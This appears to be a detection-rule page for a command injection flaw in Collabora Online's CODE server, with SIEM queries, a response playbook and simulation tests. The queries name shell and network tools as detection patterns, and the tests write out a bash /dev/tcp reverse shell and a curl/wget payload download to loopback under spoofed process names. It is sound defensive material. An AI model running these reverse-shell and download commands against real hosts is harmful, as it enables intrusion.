Detect Collabora Online Built-in CODE Server OS Command Injection (CVE-2026-110447) in CrowdStrike LogScale
Detects exploitation of CVE-2026-110447, an OS command injection vulnerability (CWE-78) in the Collabora Online built-in CODE (Collabora Online Development Edition) server. Unauthenticated or low-privileged attackers can inject shell metacharacters into document-conversion or WOPI-handling parameters processed by the CODE server (coolwsd / loolwsd), causing arbitrary OS commands to execute with the privileges of the Collabora service account. This CVE is on the CISA KEV catalog (BOD 26-04), indicating confirmed in-the-wild exploitation. Detection focuses on shell metacharacters and command-injection patterns in HTTP requests to the CODE server, anomalous child-process spawning from the coolwsd/loolwsd/forkit process tree, and outbound connections or file writes originating from the conversion sandbox.
MITRE ATT&CK
- Tactic
- Initial Access Execution
LogScale Detection Query
#event_simpleName=ProcessRollup2
| in(field="ParentBaseFileName", values=["coolwsd","loolwsd","coolforkit","loolforkit","forkit"])
| in(field="ImageFileName", values=["sh","bash","dash","zsh","nc","ncat","curl","wget","python","python3","perl","php"], ignoreCase=true)
| CommandLine=/(-c |curl|wget|\/dev\/tcp|bash -i|base64)/i
| table([_time, aid, ComputerName, ParentBaseFileName, ImageFileName, CommandLine, UserName])CrowdStrike CQL (LogScale) query for shell/network child processes of the Collabora CODE server indicative of command injection.
Data Sources
Required Tables
False Positives & Tuning
- LibreOffice conversion helper subprocesses
- Service-account administrative or cron activity
- Security/monitoring agents spawning shells
Other platforms for CVE-2026-110447
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1 Simulated command injection via CODE server child shell
Expected signal: Process-start event with parent image coolwsd and child /bin/sh executing 'id; uname -a'.
- Test 2 Reverse-shell attempt from CODE server tree
Expected signal: Process-start with parent loolwsd launching bash with /dev/tcp and bash -i in the command line.
- Test 3 Egress download from conversion sandbox
Expected signal: Process-start with parent forkit launching curl/wget with an outbound URL.
References (5)
- https://nvd.nist.gov/vuln/detail/CVE-2026-110447
- https://github.com/CollaboraOnline/online/security/advisories/GHSA-g3vx-3m76-fghh
- https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
Response Playbook
Triage
- Confirm the affected host runs the Collabora Online built-in CODE server (coolwsd/loolwsd) and determine its version against GHSA-g3vx-3m76-fghh to establish exposure.
- Review the matched process event: capture the full child command line, parent process (coolwsd/loolwsd/forkit), service account, and timestamp.
- Correlate with Collabora/WOPI access logs and reverse-proxy logs around the event time for requests containing shell metacharacters (;, |, `, $(), &&) in conversion or document-handling parameters.
- Determine whether the injected command executed successfully (child exit code, created files, outbound connections) versus a blocked/failed attempt.
Containment
- Isolate the affected Collabora host from the network (EDR containment or firewall block) to prevent further command execution and lateral movement.
- Stop the coolwsd/loolwsd service and block external access to the CODE server port (typically 9980) at the proxy/WAF until patched.
- Rotate any credentials, WOPI secrets, or tokens accessible to the Collabora service account that may have been exposed.
Evidence Collection
- Preserve process-execution telemetry (auditd/Sysmon-for-Linux/EDR) showing the coolwsd→shell parent-child chain and full command lines.
- Collect Collabora application logs, WOPI request logs, and web/proxy access logs covering the exploitation window.
- Snapshot the host filesystem (or container layer) to capture dropped files, modified conversion sandbox state, and any persistence artifacts.
Escalation Criteria
- !Escalate to incident response immediately if the injected command executed successfully (file writes, outbound C2, or reverse shell established).
- !Escalate if evidence of lateral movement, credential theft, or data exfiltration from the Collabora host or connected Nextcloud instance is found.
- !Escalate to management/legal if sensitive documents processed by the CODE server may have been accessed or exfiltrated, per breach-notification obligations.
Investigation Guide
Forensic Artifacts
- >
auditd/EDR process-execution records showing coolwsd/loolwsd/forkit as parent of a shell or network utility - >
Collabora WOPI/conversion request logs and reverse-proxy access logs containing shell metacharacters - >
Dropped files, reverse-shell binaries, or cron/systemd persistence created under the Collabora service account
Tuning Guidance
Baseline the normal child-process set of coolwsd/loolwsd/forkit in your environment — legitimate conversions typically spawn only soffice/soffice.bin and oosplash. Add those to an allowlist and alert on any other child (especially sh/bash/nc/curl/wget/python). If running Collabora in containers, scope the rule to the known image/container names to reduce noise. Pair process detection with proxy-log inspection for shell metacharacters in WOPI/conversion parameters to raise confidence.
Hunting Queries
Baselines all non-LibreOffice child processes of the Collabora CODE server to surface anomalous command execution worth investigating.
DeviceProcessEvents | where InitiatingProcessFileName in~ ("coolwsd","loolwsd","forkit","coolforkit","loolforkit") | where FileName !in~ ("soffice.bin","soffice","oosplash") | summarize count() by DeviceName, FileName, ProcessCommandLine | order by count_ descindex=linux (parent_process_name="coolwsd" OR parent_process_name="loolwsd" OR parent_process_name="forkit") process_name!="soffice.bin" process_name!="soffice" | stats count by host, process_name, process | sort - countAtomic Red Team Tests
Simulates OS command injection by having a stand-in for the coolwsd process spawn a shell that runs a benign reconnaissance command, reproducing the parent-child telemetry the detection keys on.
Command
cp /bin/bash /tmp/coolwsd && /tmp/coolwsd -c "sh -c 'id; uname -a'"Cleanup
rm -f /tmp/coolwsdExpected Telemetry
Process-start event with parent image coolwsd and child /bin/sh executing 'id; uname -a'.
Expected Detection
KQL/SPL/EQL process rules match on coolwsd parent spawning a shell with -c.
Simulates a reverse-shell payload injected through the vulnerability by spawning a bash /dev/tcp connection from a process named like the Collabora server.
Command
cp /bin/bash /tmp/loolwsd && /tmp/loolwsd -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1" ; trueCleanup
rm -f /tmp/loolwsdExpected Telemetry
Process-start with parent loolwsd launching bash with /dev/tcp and bash -i in the command line.
Expected Detection
Command-line regex for /dev/tcp and 'bash -i' under a Collabora parent triggers the detection across all SIEM dialects.
Simulates attacker payload retrieval by spawning curl/wget as a child of a Collabora-named process, mimicking tool staging after command injection.
Command
cp /bin/bash /tmp/forkit && /tmp/forkit -c "curl -s http://127.0.0.1/payload -o /tmp/payload.sh || wget -q http://127.0.0.1/payload -O /tmp/payload.sh" ; trueCleanup
rm -f /tmp/forkit /tmp/payload.shExpected Telemetry
Process-start with parent forkit launching curl/wget with an outbound URL.
Expected Detection
Process rules match curl/wget as a child of the Collabora CODE server process tree.